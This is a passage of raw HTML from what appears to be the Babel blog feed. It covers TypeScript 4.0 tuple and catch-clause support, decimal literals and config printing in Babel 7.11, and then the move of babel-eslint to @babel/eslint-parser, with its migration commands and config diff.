<h3 class="anchor anchorWithStickyNavbar_JmGV" id="variadic-tuple-types">Variadic Tuple Types<a href="https://babeljs.io/blog/2020/07/30/7.11.0#variadic-tuple-types" class="hash-link" aria-label="Direct link to Variadic Tuple Types" title="Direct link to Variadic Tuple Types">​</a></h3>
<p>You can now specify generic spreads in tuple types, and the spreads can be at any location:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Arr</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">readonly</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">any</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">function</span><span class="token plain"> </span><span class="token generic-function function" style="color:#4271ae">collect</span><span class="token generic-function generic class-name operator" style="color:#eab700">&lt;</span><span class="token generic-function generic class-name constant" style="color:#f5871f">L</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name keyword" style="color:#8959a8">extends</span><span class="token generic-function generic class-name" style="color:#eab700"> Arr</span><span class="token generic-function generic class-name punctuation" style="color:#eab700">,</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name constant" style="color:#f5871f">M</span><span class="token generic-function generic class-name" style="color:#eab700"> </span><span class="token generic-function generic class-name keyword" style="color:#8959a8">extends</span><span class="token generic-function generic class-name" style="color:#eab700"> Arr</span><span class="token generic-function generic class-name operator" style="color:#eab700">&gt;</span><span class="token punctuation">(</span><span class="token plain">b</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">boolean</span><span class="token punctuation">,</span><span class="token plain"> l</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">L</span><span class="token punctuation">,</span><span class="token plain"> m</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#f5871f">M</span><span class="token punctuation">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token builtin" style="color:#f5871f">boolean</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token operator">...</span><span class="token constant" style="color:#f5871f">L</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token operator">...</span><span class="token constant" style="color:#f5871f">M</span><span class="token punctuation">]</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">return</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">b</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token operator">...</span><span class="token plain">l</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token operator">...</span><span class="token plain">m</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="labeled-tuple-elements">Labeled Tuple Elements<a href="https://babeljs.io/blog/2020/07/30/7.11.0#labeled-tuple-elements" class="hash-link" aria-label="Direct link to Labeled Tuple Elements" title="Direct link to Labeled Tuple Elements">​</a></h3>
<p>Tuple elements can now be labeled:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Log</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token plain">failed</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">boolean</span><span class="token punctuation">,</span><span class="token plain"> reason</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> Error</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token operator">...</span><span class="token plain">stacks</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token comment" style="color:#8e908c">// same as</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token keyword" style="color:#8959a8">type</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Log</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation">[</span><span class="token builtin" style="color:#f5871f">boolean</span><span class="token punctuation">,</span><span class="token plain"> Error</span><span class="token operator">?</span><span class="token punctuation">,</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">string</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token operator">?</span><span class="token punctuation">]</span><span class="token punctuation">;</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<h3 class="anchor anchorWithStickyNavbar_JmGV" id="unknown-on-catch-clause-bindings"><code>unknown</code> on <code>catch</code> Clause Bindings<a href="https://babeljs.io/blog/2020/07/30/7.11.0#unknown-on-catch-clause-bindings" class="hash-link" aria-label="Direct link to unknown-on-catch-clause-bindings" title="Direct link to unknown-on-catch-clause-bindings">​</a></h3>
<p>You can specify <code>unknown</code> type of <code>catch</code> clause variables:</p>
<div class="language-typescript codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-typescript codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token keyword" style="color:#8959a8">try</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// ...</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">catch</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token plain">e</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#f5871f">unknown</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token comment" style="color:#8e908c">// type error! Error() only accepts string | undefined</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Error</span><span class="token punctuation">(</span><span class="token plain">e</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token keyword" style="color:#8959a8">if</span><span class="token plain"> </span><span class="token punctuation">(</span><span class="token keyword" style="color:#8959a8">typeof</span><span class="token plain"> e </span><span class="token operator">===</span><span class="token plain"> </span><span class="token string" style="color:#718c00">"string"</span><span class="token punctuation">)</span><span class="token plain"> </span><span class="token punctuation">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token comment" style="color:#8e908c">// e is a string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    </span><span class="token keyword" style="color:#8959a8">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#8959a8">new</span><span class="token plain"> </span><span class="token class-name" style="color:#eab700">Error</span><span class="token punctuation">(</span><span class="token plain">e</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">  </span><span class="token punctuation">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain"></span><span class="token punctuation">}</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Note that only <code>unknown</code> and <code>any</code> are currently allowed in catch binding type annotations. <code>@babel/parser</code> does not enforce this check because neither type aliases (<code>type ANY = any</code>) nor intersections (<code>any | unknown</code>) are not evaluated at compile-time.</p>
<p>Starting from Babel 7.11, you can use these new features without any config changes. For more information, please checkout <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-4-0-beta" target="_blank" rel="noopener noreferrer">TypeScript 4.0 Announcement</a>.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="decimal-literal-parser-support-11640">Decimal Literal parser support (<a href="https://github.com/babel/babel/pull/11640" target="_blank" rel="noopener noreferrer">#11640</a>)<a href="https://babeljs.io/blog/2020/07/30/7.11.0#decimal-literal-parser-support-11640" class="hash-link" aria-label="Direct link to decimal-literal-parser-support-11640" title="Direct link to decimal-literal-parser-support-11640">​</a></h2>
<p>The <a href="https://github.com/tc39/proposal-decimal" target="_blank" rel="noopener noreferrer">Decimal Literal Proposal</a> (Stage 1) provides a notation for decimal numbers, analogous to BigInt and integers.</p>
<div class="language-js codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">JavaScript</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-js codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">.</span><span class="token plain">1m </span><span class="token operator">+</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">.</span><span class="token plain">2m </span><span class="token operator">===</span><span class="token plain"> </span><span class="token number" style="color:#f5871f">0</span><span class="token punctuation">.</span><span class="token plain">3m</span><span class="token punctuation">;</span><span class="token plain"> </span><span class="token comment" style="color:#8e908c">// true</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>Babel now supports parsing these literals: you can add <code>@babel/plugin-syntax-decimal</code> plugin to your Babel config or, if you use <code>@babel/parser</code> directly, you can enable the <code>decimal</code> plugin. Babel doesn't provide polyfill implementations for decimals.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="print-config-11588">Print config (<a href="https://github.com/babel/babel/pull/11588" target="_blank" rel="noopener noreferrer">#11588</a>)<a href="https://babeljs.io/blog/2020/07/30/7.11.0#print-config-11588" class="hash-link" aria-label="Direct link to print-config-11588" title="Direct link to print-config-11588">​</a></h2>
<p>Babel can be configured in a number of ways (programmatically and via JSON/JavaScript configs). This flexibility, however, does not come for free: it can be difficult to understand what are the applicable config files within your project and how Babel merges these configs. You may also indirectly use Babel and the config is generated by a package residing within your node_modules. All these use cases show the need for a way to output config information to help debug any compilation problems.</p>
<p>Babel 7.11 offers an environment variable for this purpose:</p>
<div class="language-sh codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">Shell</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-sh codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain"># *nix or WSL</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">BABEL_SHOW_CONFIG_FOR=./src/myComponent.jsx npm start</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<div class="language-powershell codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-powershell codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token variable" style="color:#c82829">$env</span><span class="token plain">:BABEL_SHOW_CONFIG_FOR = </span><span class="token string" style="color:#718c00">".\src\myComponent.jsx"</span><span class="token punctuation">;</span><span class="token plain"> npm </span><span class="token function" style="color:#4271ae">start</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p>will print the effective config applied on <code>src/myComponent.jsx</code>.</p>
<p>Checkout <a href="https://babel.dev/docs/en/configuration#print-effective-configs" target="_blank" rel="noopener noreferrer">configuration</a> for the detailed usage and example output.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="babeleslint-parser-10709"><code>@babel/eslint-parser</code> (<a href="https://github.com/babel/babel/issues/10709" target="_blank" rel="noopener noreferrer">#10709</a>)<a href="https://babeljs.io/blog/2020/07/30/7.11.0#babeleslint-parser-10709" class="hash-link" aria-label="Direct link to babeleslint-parser-10709" title="Direct link to babeleslint-parser-10709">​</a></h2>
<p><code>babel-eslint</code> has been moved to the Babel monorepo under a new name: <code>@babel/eslint-parser</code>. It offers better integration between Babel and ESLint, and features complete ES2020 support. In the <a href="https://babel.dev/blog/2020/07/13/the-state-of-babel-eslint" target="_blank" rel="noopener noreferrer">State of <code>babel-eslint</code></a> blog post, Kai has added more about the state of <code>@babel/eslint-parser</code>.</p>]]></content>
        <author>
            <name>Huáng Jùnliàng</name>
            <uri>https://twitter.com/JLHwung</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[The State of babel-eslint]]></title>
        <id>https://babeljs.io/blog/2020/07/13/the-state-of-babel-eslint</id>
        <link href="https://babeljs.io/blog/2020/07/13/the-state-of-babel-eslint"/>
        <updated>2020-07-13T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[babel-eslint is moved to @babel/eslint-parser!]]></summary>
        <content type="html"><![CDATA[<p><code>babel-eslint</code> is moved to <code>@babel/eslint-parser</code>!</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="the-past">The Past<a href="https://babeljs.io/blog/2020/07/13/the-state-of-babel-eslint#the-past" class="hash-link" aria-label="Direct link to The Past" title="Direct link to The Past">​</a></h2>
<p>Existing as a compatibility layer between Babel and ESLint – two projects maintained by two separate teams – <code>babel-eslint</code> has been a difficult package to maintain since the beginning. Some of the challenges the team has faced while maintaining <code>babel-eslint</code>:</p>
<ul>
<li><code>babel-eslint</code> has historically been maintained by the Babel team, and ensuring that ESLint's core rules (which are released every two weeks) work with experimental syntax is a monumental task.</li>
<li>Babel's internal AST representation differs from <a href="https://github.com/estree/estree" target="_blank" rel="noopener noreferrer">ESTree</a>, the AST specification used by ESLint. As a result, ESLint-compatibility requires that Babel's parser has a plugin that outputs ASTs that are ESTree-compatible.</li>
<li>While Babel enables the use of experimental syntax, ESLint core only supports syntax once it reaches <a href="https://tc39.es/process-document/" target="_blank" rel="noopener noreferrer">Stage 4</a> and is finalized in the spec. This means that ESLint's core rules aren't designed to work with syntax that is Stage 3 and below. Additionally, ESLint has been blocked by the finalizing of the ESTree spec, leading to an even larger discrepancy in the syntax the two projects support.</li>
<li>The version of Babel's parser that <code>babel-eslint</code> relies on is a direct dependency in its <code>package.json</code> and the plugins it enables are hardcoded, leading to a potential mismatch in versions and enabled language features between compiling and linting. This has historically led to a lot of confusion and hard-to-debug issues, and we believe solving this issue is a big win for both maintainers and end users.</li>
<li><code>babel-eslint</code> has to be updated to handle changes in both upstream projects, and has often been out of sync with one or the other.</li>
</ul>
<p>The challenges above have added up to <code>babel-eslint</code> requiring more resources than the team has at its disposal, resulting in <code>babel-eslint</code> not getting the attention a widely used project (6M downloads a week at the time of this writing) requires to stay up-to-date.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="the-present">The Present<a href="https://babeljs.io/blog/2020/07/13/the-state-of-babel-eslint#the-present" class="hash-link" aria-label="Direct link to The Present" title="Direct link to The Present">​</a></h2>
<p>With the next iteration of <code>babel-eslint</code>, we have decided to publish the package under a new name: <code>@babel/eslint-parser</code>. To alleviate some of the challenges discussed above, we are doing the following:</p>
<ul>
<li><code>@babel/eslint-parser</code> will require <code>@babel/core</code> as a peer dependency and will now use Babel core's APIs to read and apply your Babel configuration. This means that the same version of Babel with the same settings will be used for both compiling and linting. This is consistent with what we recommend and do with other packages in the Babel ecosystem.</li>
<li><code>@babel/eslint-parser</code> will live in the main <a href="https://github.com/babel/babel/tree/main/eslint/babel-eslint-parser" target="_blank" rel="noopener noreferrer"><code>babel/babel</code></a> monorepo with other Babel packages. We hope this will help to mitigate some of the syncing issues <code>babel-eslint</code> has seen in the past and allow us to lint the repo with the latest source code in GitHub, shortening the feedback loop of how changes in Babel affect linting.</li>
<li><a href="https://github.com/estree/estree" target="_blank" rel="noopener noreferrer">ESTree</a> - the AST specification that ESLint follows - has recently become active again, and the Babel team is now actively involved in the project. This will hopefully allow us to share what we learn about the AST representation of experimental syntax and help make the integration between tools easier.</li>
<li><a href="https://kaicataldo.com/" target="_blank" rel="noopener noreferrer">Kai Cataldo</a> has been helping out with <code>babel-eslint</code> for a number of years now, and as a result of being a maintainer of both Babel and ESLint, is uniquely positioned to focus on the interoperability of these two tools. Over the past few months, he has been working on the code changes discussed above and will continue to support the new packages once they are released.</li>
</ul>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="the-future">The Future<a href="https://babeljs.io/blog/2020/07/13/the-state-of-babel-eslint#the-future" class="hash-link" aria-label="Direct link to The Future" title="Direct link to The Future">​</a></h2>
<p>We believe that these packages are ready to be released. Because of all the integrations and projects involved (Babel, ESLint, Prettier, frameworks, various plugins, text editor integrations, command-line tools, etc.), we're sure there will be things that need to be fixed, and we plan to iterate quickly.</p>
<p>Please note that <code>@babel/eslint-parser</code> will rely on <code>@babel/core</code> as a peer dependency and this package must be in your project's <code>node_modules</code>.</p>
<p>Once you have ensured that <code>@babel/core</code> has been installed, you can run the following commands to upgrade from <code>babel-eslint</code> and <code>babel-eslint-plugin</code> to the new packages:</p>
<div class="tabs-container tabList_J5MA"><ul role="tablist" aria-orientation="horizontal" class="tabs"><li role="tab" tabindex="0" aria-selected="true" class="tabs__item tabItem_l0OV tabs__item--active">npm</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_l0OV">Yarn</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_l0OV">pnpm</li></ul><div class="margin-top--md"><div role="tabpanel" class="tabItem_wHwb"><div class="language-shell codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-shell codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">npm uninstall babel-eslint babel-eslint-plugin</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">npm install --save-dev @babel/eslint-parser @babel/eslint-plugin</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></div><div role="tabpanel" class="tabItem_wHwb" hidden=""><div class="language-shell codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-shell codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">yarn remove babel-eslint babel-eslint-plugin</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">yarn add --dev @babel/eslint-parser @babel/eslint-plugin</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></div><div role="tabpanel" class="tabItem_wHwb" hidden=""><div class="language-shell codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-shell codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">pnpm remove babel-eslint babel-eslint-plugin</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">pnpm add --save-dev @babel/eslint-parser @babel/eslint-plugin</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div></div></div></div>
<div class="language-diff codeBlockContainer_mQmQ theme-code-block" style="--prism-color:#4d4d4c;--prism-background-color:#fdfaeb"><div class="codeBlockTitle_x_ju">.eslintrc.js</div><div class="codeBlockContent_D5yF"><pre tabindex="0" class="prism-code language-diff codeBlock_RMoD thin-scrollbar" style="color:#4d4d4c;background-color:#fdfaeb"><code class="codeBlockLines_AclH"><span class="token-line" style="color:#4d4d4c"><span class="token plain">module.exports = {</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">---  parser: "babel-eslint",</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">+++  parser: "@babel/eslint-parser"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    plugins: [</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">---   "babel"</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">+++   "@babel</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">    ]</span><br></span><span class="token-line" style="color:#4d4d4c"><span class="token plain">};</span><br></span></code></pre><div class="buttonGroup_aaMX"><button type="button" aria-label="Copy code to clipboard" title="Copy" class="clean-btn"><span class="copyButtonIcons_z5j7" aria-hidden="true"><svg viewBox="0 0 24 24" class="copyButtonIcon_FoOz"><path fill="currentColor" d="M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z"></path></svg><svg viewBox="0 0 24 24" class="copyButtonSuccessIcon_L0B6"><path fill="currentColor" d="M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z"></path></svg></span></button></div></div></div>
<p><code>@babel/eslint-parser</code> expects a standard Babel configuration file (<code>.babelrc</code> or <code>babel.config.js</code>). For cases where users might not want to use a Babel configuration file or are running Babel through another tool (such as Webpack with babel-loader), <code>@babel/eslint-parser</code> also supports applying <a href="https://babeljs.io/docs/en/options" target="_blank" rel="noopener noreferrer">Babel configuration</a> through your ESLint configuration. Please see the <a href="https://github.com/babel/babel/tree/main/eslint/babel-eslint-parser#additional-parser-configuration" target="_blank" rel="noopener noreferrer"><code>babelOptions</code></a> configuration option for more details.</p>
<h2 class="anchor anchorWithStickyNavbar_JmGV" id="moving-forward-together">Moving Forward Together<a href="https://babeljs.io/blog/2020/07/13/the-state-of-babel-eslint#moving-forward-together" class="hash-link" aria-label="Direct link to Moving Forward Together" title="Direct link to Moving Forward Together">​</a></h2>
